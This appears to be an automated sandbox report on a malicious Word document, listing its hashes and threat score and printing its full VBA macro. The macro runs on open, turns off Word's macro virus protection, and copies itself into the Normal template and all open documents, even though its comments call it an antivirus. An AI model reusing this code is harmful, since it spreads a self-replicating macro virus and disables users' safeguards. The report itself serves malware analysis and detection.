Behavioral task
behavioral1
Sample
aca681b60d551044b8aaef97550195ca_JaffaCakes118.doc
Resource
win7-20240704-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
aca681b60d551044b8aaef97550195ca_JaffaCakes118.doc
Resource
win10v2004-20240802-en
4 signatures
150 seconds
General
-
Target
aca681b60d551044b8aaef97550195ca_JaffaCakes118
-
Size
29KB
-
MD5
aca681b60d551044b8aaef97550195ca
-
SHA1
081624afc6a708e54d6e1b2f52141f29ec93995b
-
SHA256
f7843aad065fc2bb6d9e590ca99e6068cd80127d2e77c3e96f7c2a1cd4403a4c
-
SHA512
b9178e50e3a849e138deaee700af7965c1dbe238072c4b4c7feed0891ea704d818fe500c981550ad347e8fa48ffd6add686030277eddefa554e5376e47a5ba14
-
SSDEEP
384:1iZzTv2+Gujh7PAtUC2KRBmWgTo4QlOx6m:0mO7Y2KfmWmo4Nv
Score
8/10
Malware Config
Signatures
-
resource sample
Files
-
aca681b60d551044b8aaef97550195ca_JaffaCakes118.doc windows office2003
ThisDocument
1Attribute VB_Name = "ThisDocument"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_Creatable = False4Attribute VB_PredeclaredId = True5Attribute VB_Exposed = True6Attribute VB_TemplateDerived = True7Attribute VB_Customizable = True89Private Sub Document_Open()10'Thus_001'11'Anti-Smyser'12'kill'13' Этот антивирус против вируса Anti-Smyser должен работать:)14On Error Resume Next15Application.Options.VirusProtection = False16'Операции записи антивируса17If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) <> "'kill'" Then18If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then19NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _20.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _21.CodeModule.CountOfLines22End If23If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then24NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _25.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _26.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _27.Item(1).CodeModule.CountOfLines)28End If29End If30If NormalTemplate.Saved = False Then NormalTemplate.Save3132For k = 1 To Application.Documents.Count33If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) <> "'kill'" Then34If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then35Application.Documents.Item(k).VBProject.VBComponents.Item(1) _36.CodeModule.DeleteLines 1, Application.Documents.Item(k) _37.VBProject.VBComponents.Item(1).CodeModule.CountOfLines38End If3940If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then41Application.Documents.Item(k).VBProject.VBComponents.Item(1) _42.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _43.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _44.VBComponents.Item(1).CodeModule.CountOfLines)45End If46End If47Next k484950'Работа антивируса с основным шаблоном51For I = 1 To NormalTemplate.VBProject.VBComponents.Count52If NormalTemplate.VBProject.VBComponents.Item(I).Name = "MacroBle" Then ble = True Else ble = False53If NormalTemplate.VBProject.VBComponents.Item(I).Name = "TheSecond" Then se = True Else se = False54If NormalTemplate.VBProject.VBComponents.Item(I).Name = "groove" Then gro = True Else gro = False55Next I56If ble Then57NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item("MacroBle")58End If59If se Then60NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item("TheSecond")61End If62If gro Then63NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item("groove")64End If656667'Работа антивируса с открытыми документами68For h = 1 To Application.Documents.Count69Application.Documents.Item(h).Activate70For I = 1 To NormalTemplate.VBProject.VBComponents.Count71If ActiveDocument.VBProject.VBComponents.Item(I).Name = "MacroBle" Then blea = True Else blea = False72If ActiveDocument.VBProject.VBComponents.Item(I).Name = "TheSecond" Then sea = True Else sea = False73If ActiveDocument.VBProject.VBComponents.Item(I).Name = "groove" Then groa = True Else groa = False74Next I75If blea Then76ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item("MacroBle")77End If78If sea Then79ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item("TheSecond")80End If81If groa Then82ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item("groove")83End If84Next h85End Sub8687888990919293949596979899100101